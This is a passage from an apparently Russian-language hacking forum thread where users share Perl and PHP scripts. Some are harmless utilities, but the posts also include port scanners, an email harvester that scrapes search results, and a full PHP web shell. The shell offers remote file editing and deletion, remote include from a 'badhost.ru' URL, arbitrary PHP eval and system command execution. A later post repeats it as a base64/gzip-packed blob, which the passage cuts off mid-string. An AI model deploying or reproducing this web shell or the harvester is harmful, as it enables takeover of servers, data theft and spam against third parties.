$dest = $sour . '_trans';
}
else{
$dest = $ARGV[1];
};

$alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z";
$alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z';

open (SR, "<$sour") || die "Could not open source file";
open (DS, ">$dest") || die "Could not create destination file";

while (<SR>){
chomp;
@bukvy = split(//);
foreach $bk (@bukvy) {
$num = ord($bk);
if ($num < 256){
if ($num > 223){
$bk = substr($alphabet,$num-224,1);
}else{
if ($num > 191){
$bk = substr($alphabet2,$num-192,1);
};
};
};
}
print DS join("",@bukvy) . "\n";
};

close (SR);
close (DS);

гораздо проще можно все сделать было бы заюзав регексп:
#!/usr/bin/perl -w

use strict;

my $src = shift || die "Usage: transkey.pl <source> [destination]\n";
my $dst = shift || 'trans_'.$src;

open SR, '<', $src or die "Could not open source file\n";
open DS, '>', $dst or die "Could not create destination file\n";

$/ = undef;
my $text = <SR>;
$text =~ tr/
ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧ СМИТЬБЮйцукенгшщзхъфывапр олджэячсмитьбю/
QWERTYUIOP[]ASDFGHJKL;'ZXCVBNM,.qwertyuiop[]asdfghjkl;'zxcvbnm,.\//;
print DS $text;

close SR;
close DS;

nc.STRIEM
15.09.2007, 20:34
Скрипт проверяет контрольные суммы дерикторий и файлов, и отображает изминения в виде дерева.


<?php

set_time_limit(300);

$SALT = 'sdfsd';

$mysql=array(
'host' => 'localhost',
'user' => 'root',
'pass' => '',
'base' => 'mydb'
);

if (mysql_connect($mysql['host'],$mysql['user'],$mysql['pass']) == false)
die(mysql_error());

@mysql_query('SET NAMES cp1251');

if (mysql_select_db($mysql['base']) == false)
die(mysql_error());

$ALLFILES=array();
/************************************************** ************************************************** *************************/

function install()
{
mysql_query('DROP TABLE IF EXISTS `controlsumm`');
$qyery='CREATE TABLE `controlsumm` (
`path` VARCHAR(256),
`hesh` VARCHAR(32)
)';
if(mysql_query($qyery))
echo '<center><h2>Таблица `controlsumm` была создана.</h2></center>';
else
echo '<center><h2>Ошибка! не удалось создать таблицу `controlsumm`.</h2></center>';
}

/************************************************** ************************************************** *************************/

function FileHash($file)
{
GLOBAL $SALT;
$hash=md5($file.$SALT);
$fo=fopen($file,'r');

while(!feof($fo))
{
$content=fread($fo,1024);
$hash=md5($hash.$content);
}
fclose($fo);
return $hash;
}

/************************************************** ************************************************** *************************/

function kolzn($str, $zn)
{
$kol=0;
$i=strlen($str);
for($j=0;$j<$i;$j++)
if($str[$j] == $zn)
$kol++;

return $kol;
}

/************************************************** ************************************************** *************************/

function makedamp($dir)
{
GLOBAL $SALT;
$hesh='';
$dirhesh='00000000000000000000000000000000';

$diradesk = opendir($dir);

while(false !== ($name = readdir($diradesk)))
{
if($name == '.' || $name == '..') continue;

if(filetype($dir.'/'.$name) == 'dir')
$hesh=makedamp($dir.'/'.$name);
else
$hesh=FileHash($dir.'/'.$name);

if(!mysql_query('INSERT INTO `controlsumm` VALUES (\''.mysql_escape_string($dir.'/'.$name).'\', \''.$hesh.'\')'))
die(mysql_error());

$dirhesh=md5($hesh.$dirhesh);
}
return md5($dirhesh.$SALT);
}

/************************************************** ************************************************** *************************/

function checkall($dir)
{
GLOBAL $SALT,$ALLFILES;
$hesh='';
$dirhesh='00000000000000000000000000000000';

$diradesk = opendir($dir);

while(false !== ($name = readdir($diradesk)))
{
if($name == '.' || $name == '..') continue;

if(filetype($dir.'/'.$name) == 'dir')
{
$ALLFILES[$dir.'/'.$name] = 1;;
$hesh=checkall($dir.'/'.$name);
$ALLFILES[$dir.'/'.$name] = $hesh;
}
else
{
$hesh=FileHash($dir.'/'.$name);
$ALLFILES[$dir.'/'.$name] = $hesh;
}

$dirhesh=md5($hesh.$dirhesh);
}
return md5($dirhesh.$SALT);
}

/************************************************** ************************************************** *************************/

function viewtree()
{
GLOBAL $SALT,$ALLFILES;
checkall('.');
foreach($ALLFILES as $path => $hesh)
{

for($i=kolzn($path, '/');$i>0;$i--)
echo '&nbsp;|&nbsp;&nbsp;';

$res=mysql_query('SELECT hesh FROM `controlsumm` WHERE `path`= \''.mysql_escape_string($path).'\' ');

if(!mysql_num_rows($res))
echo '-&nbsp;<font color=009900>'.basename($path).'</font><br>';
else
{
$row=mysql_fetch_array($res, MYSQL_NUM);
if($row[0] != $hesh)
echo '-&nbsp;<font color=990000>'.basename($path).'</font><br>';
else
echo '-&nbsp;'.basename($path).'<br>';

}
}
}

/************************************************** ************************************************** *************************/

?>


<style>
table.menu{
background-color: #ffffff;
font-size:16px;
color:#000000;
text-align: center;
font-family: Cursive;
border:1px solid #cccccc;
width: 100%;
margin-top:5px;
link: ffffff;
}

td.i {
link: ffffff;
border:1px solid #cccccc;

font-size:13px;
color: #000000;
text-align: center;
color:#333333;
width: 11%;
}

input,SELECT {border:1px solid #cccccc; height: 20px;}
#a{
font-size:11px;
color:#333333;
text-align: center;
font-family: Cursive;
}

a{color:#999999;}
</style>

<script>
function refreshtable()
{
if(confirm('Уверенны что хотите обновить таблицу хэшей?'))
document.location='?p=hesh';
}

function createtable()
{
if(confirm('Уверенны что хотите создать таблицу?'))
document.location='?p=install';
}
</script>

<table width=80% align=center>
<tr><td>

<table class=menu align=center><tr>
<td><a href='?p=tree'>[Дерево]</a></td>
<td><a href='JavaScript:refreshtable()'>[Хэшировать]</a></td>
<td><a href='JavaScript:createtable()'>[Установить]</a></td>
</tr></table>

</td></tr>
<tr><td align=center> <br>
<table style="border:1px solid #cccccc;" width=100%><tr><td align=left>
<?php

switch($_GET['p'])
{
case 'tree': viewtree(); break;
case 'hesh': if(!mysql_query('DELETE FROM `controlsumm`')) die(mysql_error()); makedamp('.'); viewtree();break;
case 'install': install(); break;
default: viewtree();
}

?>

</td></tr></table>
</td></tr>
</table>

canvasa
16.09.2007, 13:13
Hi , I see people post they work here. There is 2 my coded perl scripts. :)

1. Port scanner:

#!/usr/bin/perl
# Website: http://saime.biz
# Usage: perl l33t.pl [ip]
use IO::Socket;
my ( $ip, $port, $endport );
$endport=1337; $port=0; # You can edit the endport ....
$ip = $ARGV[0] if $ARGV[0];
$port=$ARGV[1] if $ARGV[1];
$maxport=$ARGV[2] if $ARGV[2];

print "[+]Scaning: $ip\r\n";
foreach (; $port<=$endport; $port++) {
print "\n[+]Port $port is open!" if ( IO::Socket::INET->new(PeerAddr=>"$ip:$port",Proto=>'tcp',Timeout=>1));
}
exit;

2. IRC Bot.

#!/usr/bin/perl
# Options: !op , !kill , !version , !owner
# Website: http://saime.biz
print "http://saime.biz";
use strict;
use IO::Socket;
use Socket;
my $server = "irc.nitrousirc.net";
my $port= '6667';
my $chanel = "#perl";
my $nick = "King`Of`Noobs";
my $identify = "ohi";
my $name = "Hithere";
my $saime = "Saime";
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "Get a life ?";
print $socket "NICK $nick\r\n";
print $socket "USER $identify 8 * :$name\r\n";
print $socket "JOIN $chanel\r\n";
while (my $body = <$socket>) {
chop $body;
if ($body =~ /^PING(.*)$/i) { print $socket "PONG $1\r\n"; }
if ($body =~ /^.*!version(.*)$/i) { print $socket ("PRIVMSG $chanel Saime's BOT V1.2!\r\n"); }
if ($body =~ /^.*!kill(.*)$/i) { print $socket ("QUIT\r\n"); }
if ($body =~ /^.*!op(.*)$/i) { print $socket ("MODE $chanel op $saime\r\n"); }
if ($body =~ /^.*!owner(.*)$/i) { print $socket ("PRIVMSG $chanel Owner: YourNick\r\n"); }
}

More to come later. :)

The_HuliGun
16.09.2007, 13:23
Лучшие цитаты дня з башорга. Поставил на сайт, и каждый день свежые приколы.

<?
$file = file_get_contents('http://www.bash.org.ru/best');
$file = preg_match_all('|<div>(.+)</div>|U',$file,$frazes);
for($i=0;$i<11;$i++){
if ($i<>5) echo "<hr>".$frazes[1][$i]."\r\n<hr>";
}
?>

Ar3s
17.09.2007, 12:02
The_HuliGun
У меня не заработал...

_-Ramos-_
17.09.2007, 12:22
The_HuliGun
У меня не заработал...

А у меня отлично заработал.
Попробуй создать файл 1.php с содержанием


<?
$file = file_get_contents('http://www.bash.org.ru/best');
$file = preg_match_all('|<div>(.+)</div>|U',$file,$frazes);
for($i=0;$i<11;$i++){
if ($i<>5) echo "<hr>".$frazes[1][$i]."\r\n<hr>";
}
?>


И закинь его се на сервер .
У меня пашеет нормально +)

vanooo
21.09.2007, 06:47
Сканер портов из списка ip адресов
#!/usr/bin/perl -w
# Use:
# $ scan.pl IP1 [ IP2 ] PORT
use IO::Socket;
sub dec2hex {
return sprintf "%02x",shift;
}
sub ip2hex {
return dec2hex($1).dec2hex($2).dec2hex($3).dec2hex($4) if ( shift =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/ );
}
sub hex2ip {
return hex($1).".".hex($2).".".hex($3).".".hex($4) if ( shift =~ /(\w{2})(\w{2})(\w{2})(\w{2})/ );
}
my ($hip1, $hip2, $port);
if ( $#ARGV == 2 ){
$hip1 = ip2hex( shift @ARGV );
$hip2 = ip2hex( shift @ARGV );
$port = shift @ARGV;
if ( hex( $hip1 ) > hex( $hip2 ) ){
$tmp = $hip1;$hip1 = $hip2;$hip2 = $tmp;
}
}elsif ( $#ARGV == 1 ){
$hip1 = ip2hex( shift @ARGV );
$hip2 = $hip1;
$port = shift @ARGV;
}else{
open TXT, "<$0" and <TXT> and $txt = <TXT> and $txt .= <TXT> and print $txt;
close TXT;
exit 1;
}
for ( $hip2 = dec2hex( hex( $hip2 ) + 1 ) ; ! ( $hip1 =~ /$hip2/) ; $hip1 = dec2hex( hex( $hip1 ) + 1 ) ){
$ip = hex2ip($hip1);
print "[ + ] Port [ $port ] is open on host [ $ip ]\n" if ( IO::Socket::INET->new(PeerAddr=>"$ip:$port",Proto=>'tcp',Timeout=>1));
}

Isis
23.09.2007, 00:00
CGI PortScanner

#!/usr/bin/perl
use warnings;
use CGI ":standard";
use IO::Socket::INET;
use strict;

print header(),start_html("portscanner");

my $port = param('start');
my $ip = param('ip');
my $end = param('end');

print start_form(-method=>'POST',action=>"$ENV{'SCRIPT_NAME'}"),"IP: ",textfield(-name=>'ip'),
"<br>Starting Port: ",textfield(-name=>'start',size=>'10'),
"<br>Ending Port: ",textfield(-name=>'end',size=>'11'),"<br>",
submit(-value=>'Scan'),end_form;

if($port and $ip and $end and $ip ne '127.0.0.1' and $ip !~ m/^192\./){

open(my $log,">>/portscanner_log.txt");
print $log "$ENV{'REMOTE_ADDR'} $ip $port $end\n";
close($log);

while($port<=$end){
my $socket = IO::Socket::INET -> new(PeerAddr=>$ip,PeerPort=>$port,Proto=>"tcp",Tim eout => 0.5);
if($socket != 0){
print "Port $port is opened.<br>";
}
$port++;
}
}

print end_html();

MD5 Seacher

#!/usr/bin/perl by player
use LWP::UserAgent;
use HTTP::Cookies;
print "[>] ++++++++++++++++++++++++++++++++++\n";
print "[>] + MD5-Searcher by -=Player=- +\n";
print "[>] ++++++++++++++++++++++++++++++++++\n";
print "\n[>] MD5-Hash: ";
$usid = <STDIN>;
chomp $usid;
$www = new LWP::UserAgent;
$sql = "http://md5.rednoize.com/?q=$usid/*";
$res = $www -> get($sql) or err();
$res -> content() =~ /"result" >(.*)</ or err();
print "\n[>] MD5.Rednoize.com\t: $1 \n\n";
$sql = "http://gdataonline.com/qkhash.php?mode=txt&hash=$usid/*";
$res = $www -> get($sql) or err();
$res -> content() =~ /<b>(.*)</ or err();
print "[>] GDataOnline.com\t: $1 \n\n";
$sql = "http://www.tydal.nu/php/sakerhet/md5.php?q=$usid/*";
$res = $www -> get($sql) or err();
$res -> content() =~ /<h5><b>(.*)</ or err();
print "[>] Tydal.nu\t\t: $1 \n\n";
$sql = "http://alimamed.pp.ru/md5/?md5e=&md5d=$usid/*";
$res = $www -> get($sql) or err();
$res -> content() =~ /àí: <b>(.*)</ or err();
print "[>] Alimamed.pp.ru\t: $1 \n\n";
$sql = "http://md5.xpzone.de/?mode=decrypt&string=$usid/*";
$res = $www -> get($sql) or err();
$res -> content() =~ /Code: <b>(.*)</ or err();
print "[>] MD5.xpzone.de\t: $1 \n\n";
$sql = "http://xml.hashreverse.com/index.php?hash=$usid/*";
$res = $www -> get($sql) or err();
$res -> content() =~ /<Result>(.*)</ or err();
print "[>] XML.Hashreverse.com\t: $1 \n\n";
sub err()
{}

canvasa
27.09.2007, 02:27
2 new scripts from me! :)

1. Mail grabber.

#!/usr/bin/perl -w
# Email grabber!
# Coded by: Saime

require LWP::UserAgent;
my $connection = LWP::UserAgent->new;
$connection->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
$connection->timeout(10);
my $google = "http://www.google.com/search?hl=en&q="; # The search engine , you can add more , or edit it to another like altavista/search[dot]com/etc ...
my @dorks = shift || ("mailto:*\@aol.com"); # Add the dorks here ....
my @pages = shift || ("&start=","&start=10","&start=20","&start=30","&start=40","&start=50","&start=60","&start=70","&start=80","&start=90","&start=100");

my $file;
request(0);

sub request {
for(my $count = 0;$count<=$#dorks;$count++){
my $url = $google . $dorks[$count] . $pages[1] . "$_[0]"; # where the pages is , edit [1] to [2] or [3] , like that up to [10]
my $response = $connection->get($url);
my $con = $response->content;

while($con =~ m/<td class="(.*?)"><font size=-1>(.*?)mailto:(\w*\@\w*\.\w*)(.*?)<span class=a>/g){
my $email = "$3";
print "[+] Found email: " . "$email\n";
}
shift(@dorks);
request(0)
}
}

2. phpBB version check :)

#!/usr/bin/perl
# phpBB version check. Made just for training.
# Coder: Saime
# Usage: perl phpbb.pl http://site.com/forum/
use LWP::UserAgent;
$site = $ARGV[0];
$brows = LWP::UserAgent->new;
$res = $brows->get($site.'/docs/CHANGELOG.html');
if($res->is_success)
{
@ver=$res->content=~/<li><a href="(.*?)\">Changes since (.*?)<\/a><\/li>/i;
$ver[1]=~/(\d+)\.(\d+)\.(\d+)/;
$version=$1.'.'.$2.'.'.scalar $3+1;
print 'Version: '.$version if $version; }

enjoy :P

ant0ha
27.09.2007, 02:38
2. phpBB version check :)Мда, уже чтобы /docs/CHANGELOG.html глянуть нужно настроить и запустить спец скрипт =)

Dr.Z3r0
29.09.2007, 13:24
Вот мой веб шелл
+Маленький размер (12кб)
+Оптимизирован под юзание из инклудов
+Все необходимые функции вебшелла
+Отсутствие графики/стилей (Всего лишнего)
-Работа через GET (Скоро переделаю)
<?php
/*
PHP Mini Remote View Dir (C) I-I()/Ib
Версия: 1.0 pre-realse
*/
$script['pr']=false;//проверка пароля
$script['pa']='EOF';//Пароль
$script['link']=2;//Тип ссылки(1-просто ссылка на скрипт,2-с определением выполняемого скрипта+все переданные парамтеры методом GET)
$script['do_this']="show_dir";//Значение переменой $do_this по дефолту
$script['now_dir']="./";//Значение переменой $now_dir по дефолту
$script['now_file']="index.html";//Значение переменой $now_file по дефолту

@set_magic_quotes_runtime(0);
@set_time_limit(0);

if(@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v){$_POST[$k] = stripslashes($v);}
foreach ($_GET as $k=>$v){$_GET[$k] = stripslashes($v);}
}

if($script['pr']){if(@$_GET['key']!=$script['pa'])die();}

if(@$_GET['do_this']!=null)$do_this=urldecode($_GET['do_this']);
else $do_this=$script['do_this'];
if(@$_GET['now_dir']!=null)$now_dir=urldecode($_GET['now_dir']);
else $now_dir=$script['now_dir'];
if(@$_GET['now_file']!=null)$now_file=urldecode($_GET['now_file']);
else $now_file=$script['now_file'];

if(($script['link']===2))
{
$my_link="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?";
foreach($_GET as $index => $val){if(($index!="do_this")&&($index!="now_dir")&&($index!="now_file"))$my_link=$my_link.$index."=".$val."&";}
}
else $my_link='';

$our_catalog=getcwd();
chdir($now_dir);

if($do_this==="upload_file_s")
{
if(@file_exists($now_file))
{
$file=@fopen($now_file,"r");
@ob_clean();
$filename=@basename($now_file);
$filedump=@fread($file,@filesize($now_file));
fclose($file);
$content_encoding=$mime_type='';
if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}

echo "<font size='-1'><hr>
".php_uname()."<br>";
if(function_exists('apache_get_version'))echo(apac he_get_version()."<br>");
else echo"PHP: ".phpversion()."<br>";
echo"UID: ".getmyuid()." GID: ".getmygid()." PID: ".getmypid()."<br>
<hr>
Cкрипт находится в: ".$our_catalog."<br>
Открыт каталог: ".getcwd()."<br>
<hr>
<a href='".$my_link."&now_dir=".$now_dir."'>Просмотр директорий</a><br>
<a href='".$my_link."do_this=function_show&now_dir=".$now_dir."'>Работа с каталогами</a><br>
<a href='".$my_link."do_this=shell_show&now_dir=".$now_dir."'>Работа с шеллом</a><br>
<a href='".$my_link."do_this=mysql_show&now_dir=".$now_dir."'>Работа с MYSQL</a><br>
</font>
<hr> |
<input type='submit' value='Назад' onclick='javascript:history.back(-1)'> |
<input type='submit' value='Вперед' onclick='javascript:history.forward(+1)'> |
<input type='submit' value='Вверх' onclick=\"javascript:document.location.replace('".$my_link."do_this=show_dir&now_dir=".urlencode(getcwd()."/..")."')\"> |
<input type='submit' value='Домой' onclick=\"javascript:document.location.replace('".$my_link."')\"> |
<hr>
Путь:<input type='text' name='go_to_dir' value='".getcwd()."' size='100'>
<input type='submit' value='Перейти' onclick=\"javascript:document.location.replace('".$my_link."do_this=show_dir&now_dir='+escape(go_to_dir.value));\">
<hr>";

if($do_this==="show_dir")
{
echo "<table width=100%>
<tr><td colspan=4 align=center><b>Просмотр содержимого папки <i>".getcwd()."</i></b></tr></td>
<tr><td width=35%><b>Имя</b></td><td width=15%><b>Размер</b></td><td width=10%><b>Действие</b></td><td width=20%><b>Изменен</b></td><td width=10%><b>Права</b></td><td width=10%><b>Владелец/Группа</b>";
$dh=opendir(".");
while($file=readdir($dh))
{
if(filetype($file)==="dir")$directories[]=$file;
else $files[]=$file;
}
closedir($dh);
if(!empty($directories))
{
sort($directories);
foreach($directories as $file)
{
echo "<tr>
<td>[<a title='Open' href='".$my_link."now_dir=".urlencode($now_dir."/".$file)."'>".$file."</a>]</td>
<td>DIR</td>
<td>---</td>
<td>".date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color=";
if(is_readable($file))echo 'green';
else echo 'red';
echo ">r</font><font color=";
if(is_writeable($file))echo 'green';
else echo 'red';
echo ">w</font>
</b></td>
<td>".@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n";
}
}
if(!empty($files))
{
sort($files);
foreach($files as $file)
{
echo "<tr>
<td><a title='Show' href='".$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."'>".$file."</a></td>
<td>".filesize($file)." байт</td>
<td>
<a title='Upload' href='".$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Скачать'>U</a> |
<a title='Modify' href='".$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Редактировать'>M</a> |
<a title='Delete' href='".$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($file)."' alt='Удалить'>D</a>
</td>
<td>".date("d-m-Y H:i",filemtime($file))."</td>
<td><b><font color=";
if(is_readable($file))echo 'green';
else echo 'red';
echo ">r</font><font color=";
if(is_writeable($file))echo 'green';
else echo 'red';
echo ">w</font>
</b></td>
<td>".@fileowner($now_dir)."/".@filegroup($now_dir)."</td>
</tr>\n";
}
}
echo "</table>";
}

if(strpos($do_this,"_file_s")){
echo "<center>
<b>Файл ".$now_file."</b>
<table width=80%>
<tr>
<td><a href='".$my_link."do_this=show_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Просмотр</a></td>
<td><a href='".$my_link."do_this=modify_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Редактировать</a></td>
<td><a href='".$my_link."do_this=delete_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Удалить</a></td>
<td><a href='".$my_link."do_this=upload_file_s&now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Загрузить</a></td>
<td><a href='".$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."'>Назад</a></td>
</tr>
</table>
</center>";

if(file_exists($now_file)){
if($do_this==="show_file_s"){
$open_to_show_file=file($now_file);
echo "<b><center>Просмотр</center></b><pre>";
for($i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
echo "</pre>";
}

if($do_this==="modify_file_s"){
echo "<b><center>Редактирование</center></b>\n";
if(empty($_POST['step'])){
$open_to_show_file=file($now_file);
echo "<form action='".$my_link."now_dir=".urlencode($now_dir)."&now_file=".urlencode($now_file)."&do_this=modify_file_s' method='post'>
<input type='hidden' name='step' value='1'>
<textarea name=new_text cols='80' rows='20'>";
for($i=0;$i<count($open_to_show_file);$i++)echo htmlspecialchars($open_to_show_file[$i]);
echo "</textarea><br>
<input type='submit' value=Править>
</form>";
}else{
$new_text=$_POST['new_text'];
$file = fopen ($now_file,"w");
fputs($file, $new_text);
fclose($file);
echo "Готово, вроде как... <a href='".$my_link."now_dir=".base64_encode($now_dir)."&now_file=".base64_encode($now_file)."&do_this=modify_file'>Назад</a>";
}
}

if($do_this==="delete_file_s"){
echo "<b><center>Удаление</center></b>\n";
unlink($now_file);
if(file_exists($now_file))echo "Файл не был удален... Возможно нет доступа";
else echo "Файл удален...";
}
}else echo "Файл не найден";
}

if($do_this==="function_show"){
echo "<hr><b>Создать файл</b><br>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_file' method='post'>
Файл: <input type='text' name='patch_file' value='".getcwd()."\\shell.php'><br>
Содержимое:<br>
<textarea name='body_file' cols='80' rows='20'>Вот это будет находится в новом файле... :)</textarea><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Закачать файл с другого сервера</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_download_file' method='post'>
Файл на другом сервере: <input type='text' name='patch_old_file' value='http://www.badhost.ru/new_shell.txt'><br>
Сохранить как: <input type='text' name='patch_new_file' value='".getcwd()."\\shell2.php'><br>
<input type='submit' value='ЗАКАЧАТЬ'>
</form>
<hr><b>Создать папку</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_create_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='".getcwd()."\\new_folder\'><br>
<input type='submit' value='СОЗДАТЬ'>
</form>
<hr><b>Удалить папку (только пустую)</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_delete_dir' method='post'>
Путь: <input type='text' name='patch_dir' value='".getcwd()."\\del_folder\'><br>
<input type='submit' value='УДАЛИТЬ'>
</form>";
}

if($do_this==="function_create_file")
{
$file=fopen ($_POST['patch_file'],"w");
fputs($file, $_POST['body_file']);
fclose($file);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if($do_this==="function_download_file"){
$patch_open_file=$_POST['patch_old_file'];
$save_file=$_POST['patch_new_file'];
$open_file=file($patch_open_file);
$file_s=fopen($save_file,"w");
foreach($open_file as $val)fputs($file_s,$val);
fclose($file_s);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if($do_this==="function_create_dir"){
mkdir($_POST['patch_dir'] , 0777);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if($do_this==="function_delete_dir"){
rmdir($_POST['patch_dir']);
echo "Готово... <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=function_show'>Назад</a>";
}

if(($do_this==="mysql_show")||($do_this==="mysql_exec")){
echo '<form action="'.$my_link."now_dir=".urlencode($now_dir).'&do_this=mysql_exec" method="post">
Подключаться: <input type="checkbox" name="connect" value="1" checked><br>
<input type="text" name="my_sqlhost" value="';
if(!empty($_POST['my_sqlhost']))echo $_POST['my_sqlhost'];
echo '">:Хост MYSQL<br><input type="text" name="my_database" value="';
if(!empty($_POST['my_database']))echo $_POST['my_database'];
echo '">:Имя базы<br><input type="text" name="mysql_login" value="';
if(!empty($_POST['mysql_login']))echo $_POST['mysql_login'];
echo '">:Логин<br><input type="text" name="mysql_password" value="';
if(!empty($_POST['mysql_password']))echo $_POST['mysql_password'];
echo '">:Пароль<br>Запрос:<br><textarea name="query" cols="30" rows="7">';
if(!empty($_POST['query']))echo $_POST['query'];
echo '</textarea><br><input type="submit" value="Выполнить"></form><hr>'."\n";
}

if($do_this==="mysql_exec")
{
if((!empty($_POST['my_sqlhost']))&&(!empty($_POST['mysql_login']))&&(@$_POST['connect']==='1')){
$_POST['query']=urldecode($_POST['query']);
$link=mysql_connect($_POST['my_sqlhost'],$_POST['mysql_login'],$_POST['mysql_password']) or die ("Нет соединения с хостом");
if(!empty($_POST['my_database']))mysql_select_db($_POST['my_database']);
}
if(!empty($_POST['query'])){
$result = mysql_query($_POST['query']);
if(empty($result))echo(mysql_error());
else{
echo "<table border=1>";
while($data=mysql_fetch_row($result))echo "<tr><td>".implode("</td><td>", $data)."</td></tr>"."\n";
echo "</table>";
mysql_free_result($result);
}
}
}

if($do_this==="shell_show"){
echo "<hr><b>Заинклудить файл</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_inc' method='post'>
Путь: <input type='text' name='patch_include' value='http://www.badhost.ru/shell.php'><br>
<input type='submit' value='Инклудить'>
</form>

<hr><b>Выполнить пхп код</b> (не пишите &lt;?php и ?&gt;)
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_eval' method='post'>
Код:<br>
<textarea name='eval_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>

<hr><b>Команадная строка</b>
<form action='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_system' method='post'>
Код:<br>
<textarea name='system_code' cols='80' rows='20'></textarea>
<br>
<input type='submit' value='Выполнить'>
</form>";
}

if($do_this==="shell_inc"){
include($_POST['patch_include']);
echo "<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}

if($do_this==="shell_eval"){
eval($_POST['eval_code']);
echo "<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}

if($do_this==="shell_system"){
system($_POST['system_code']);
echo "<hr> <a href='".$my_link."now_dir=".urlencode($now_dir)."&do_this=shell_show'>Назад</a>";
}
echo "<hr> <b>PHP Mini Remote View Dir v1.0 pre-realese</b> &copy; <i><b>I-I()/Ib</b></i>";

?>

Dr.Z3r0
29.09.2007, 13:26
Ах да... вот еще тот же самый шелл упакован gzip-ом до 4.7 кб
<?php
$script['pr']=false;
$script['pa']='EOF';
$script['link']=2;
$script['do_this']="show_dir";
$script['now_dir']="./";
$script['now_file']="index.html";
eval(gzuncompress(base64_decode('eJztWt1v29YVf3aA/A83hGpSiC3ZabcUlqkGaLImQINmSVugiA2BIq8tzhSpklQUL83/FqQBErRo06wb9rIHxpEaxbZoWV62AumanfvFD4n6SOOsfdhDYu rec8/53XPP1z3kOQ/7lbq2aeqVz5uOj72K27R9s46VpXzp5IlzZJr8rFhm3fTZ4MkT5 oZybnN44WZDV/L5kydunTyx4bhY02tIyVWufHTtY6R5KLellnM38rfYyPXc1jpS kee7ZsOzNK+GPQVmS7dTaz+4MLQUBiasvM2h5TwdJv3rcsOV1/O3CFi2VN7C2/L6KTUm0IDAMLFC17N9cVLDqfg10yPkdtOy8jk+oDZdy8C6Y2Bl mJLoBlseRhFtJCiiKaWE2E6rYphuLIQPjAqJKGMhgjYSEtGMCt kwLZyWQkayxTDatBxKnRLEqIQ1xDq3THtLXldV9Qy3hblcfbtC RlWp5vuNlWJRKuQq1y5c/fTC1evyxY8/vlK5CBYhrydGr1y8As8f/gEGpfckEDLHrSJhFKZt4JtILaPcDc2ip6ywsVOqxNUt5efn40G untFBshUpn49wiocCoypIKiAGIQVpXuJ2xjQjFsgy1UPOaboVX fM1y9lUwT30lqEQNeo1EKuI84o8KLISVZWaDcvRDIqkArCZ4sg Z0hF80/R8T4lOgmh2jlDM5ejBnNtwGtiO5xck2CXR2tw5p1rRLazZCvtN 6W2tDmuqmkefEmxjEqNZbwBb0Lmh0IEFisQz/5ykZws2dMvxMCPjLHTH9rHtV7ANxmXam6BSEkP87QZmypqDzSH lFK43/G1lhDyfR7dQDWRjV5HfZ5OLF/jkCpJRAY2uKaHbhC9fJollROYKggOMEDCMw3SG6TUcz/RNx15Bmu+DsdVhvIQija1JwEX8KkhrUgmUjBAi3LBec1CkOSoA Ds1nWhehiRJJqxsgERFNqvLislxerbnlkyekQqPWqDTpgeQL0m rVLUvMjTeatk5QCSuQtQZgwxUSf29g14MpOZ8nvJXRmYhX5M6E ULrbebx42OnvdPpENUSypzXMSlI6uCCfG2ZVYjuRPrl0nlCAtP p20zTIPPogMbbJx64kxhpsjPA5eYLt/P3dfvdggHrB87DdHRy+RDv0uBK+JOi/Hez2XwzQbjAI9sInnCd1sjTHVQ3VXLyhyuTUuStL8yJcwiB/LEhy+WE/PNwPB33U7vY7u4Ow3322WtTKnF0WI+G10bl4Nac1hvt3weNwEK BDgTnY787IHfKaZc3E+sfO3l64PyPb+rb3+WxsL3927Y8fJrgW idlyFaMv4K9pN5o+Yi7tNatQHcgIgmQTfn4TPA3aMnJs3TJ1CI 9/0m5oLD+sAAjfcbcLVU3fUhaX8/JUZncPOv3OFG6QHVqaayinZ2IIZv885rcmJRgajt4kbl+wHDA+ 